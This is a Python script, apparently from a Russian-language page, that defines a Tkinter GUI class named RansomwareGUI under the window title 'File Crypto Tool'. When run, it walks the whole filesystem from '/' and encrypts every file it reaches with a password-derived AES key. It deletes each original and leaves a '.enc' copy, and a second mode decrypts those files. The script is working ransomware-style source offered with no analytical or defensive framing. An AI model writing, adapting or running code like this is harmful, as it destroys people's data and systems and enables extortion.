Загрузка данных


import os
import sys
import tkinter as tk
from tkinter import ttk, messagebox
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from tqdm import tqdm
import threading

SALT = b'fixed_salt_for_demo_123'
ITERATIONS = 100000

def derive_key(password: str) -> bytes:
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=SALT,
        iterations=ITERATIONS,
        backend=default_backend()
    )
    return kdf.derive(password.encode())

def encrypt_file(file_path: str, key: bytes):
    try:
        with open(file_path, 'rb') as f:
            data = f.read()
        iv = os.urandom(16)
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        pad_len = 16 - (len(data) % 16)
        data += bytes([pad_len] * pad_len)
        encrypted = encryptor.update(data) + encryptor.finalize()
        with open(file_path + '.enc', 'wb') as f:
            f.write(iv + encrypted)
        os.remove(file_path)
        return True
    except:
        return False

def decrypt_file(enc_path: str, key: bytes):
    try:
        with open(enc_path, 'rb') as f:
            data = f.read()
        iv = data[:16]
        encrypted = data[16:]
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()
        decrypted = decryptor.update(encrypted) + decryptor.finalize()
        pad_len = decrypted[-1]
        decrypted = decrypted[:-pad_len]
        original_path = enc_path[:-4]
        with open(original_path, 'wb') as f:
            f.write(decrypted)
        os.remove(enc_path)
        return True
    except:
        return False

class RansomwareGUI:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("File Crypto Tool")
        self.root.geometry("600x400")
        
        tk.Label(self.root, text="Пароль:").pack(pady=10)
        self.password_entry = tk.Entry(self.root, show="*", width=50)
        self.password_entry.pack()
        
        self.mode_var = tk.StringVar(value="encrypt")
        tk.Radiobutton(self.root, text="Зашифровать всё", variable=self.mode_var, value="encrypt").pack()
        tk.Radiobutton(self.root, text="Расшифровать всё", variable=self.mode_var, value="decrypt").pack()
        
        self.progress = ttk.Progressbar(self.root, length=400, mode='determinate')
        self.progress.pack(pady=20)
        
        self.status = tk.Label(self.root, text="Готов")
        self.status.pack()
        
        tk.Button(self.root, text="Запустить", command=self.start_operation).pack(pady=20)
        
    def start_operation(self):
        password = self.password_entry.get()
        if not password:
            messagebox.showerror("Ошибка", "Введите пароль")
            return
        
        key = derive_key(password)
        mode = self.mode_var.get()
        
        threading.Thread(target=self.process_files, args=(mode, key), daemon=True).start()
    
    def process_files(self, mode, key):
        self.status.config(text="Поиск файлов...")
        files = []
        for root_dir, _, filenames in os.walk("/"):
            for f in filenames:
                path = os.path.join(root_dir, f)
                if mode == "encrypt" and not path.endswith('.enc'):
                    files.append(path)
                elif mode == "decrypt" and path.endswith('.enc'):
                    files.append(path)
        
        total = len(files)
        if total == 0:
            self.status.config(text="Файлы не найдены")
            return
        
        self.progress['maximum'] = total
        success = 0
        
        for i, path in enumerate(tqdm(files, desc=mode)):
            if mode == "encrypt":
                if encrypt_file(path, key):
                    success += 1
            else:
                if decrypt_file(path, key):
                    success += 1
            self.progress['value'] = i + 1
            self.root.update_idletasks()
        
        self.status.config(text=f"Готово! Успешно: {success}/{total}")
        messagebox.showinfo("Результат", f"Операция завершена. Успешно: {success}/{total}")

if __name__ == "__main__":
    app = RansomwareGUI()
    app.root.mainloop()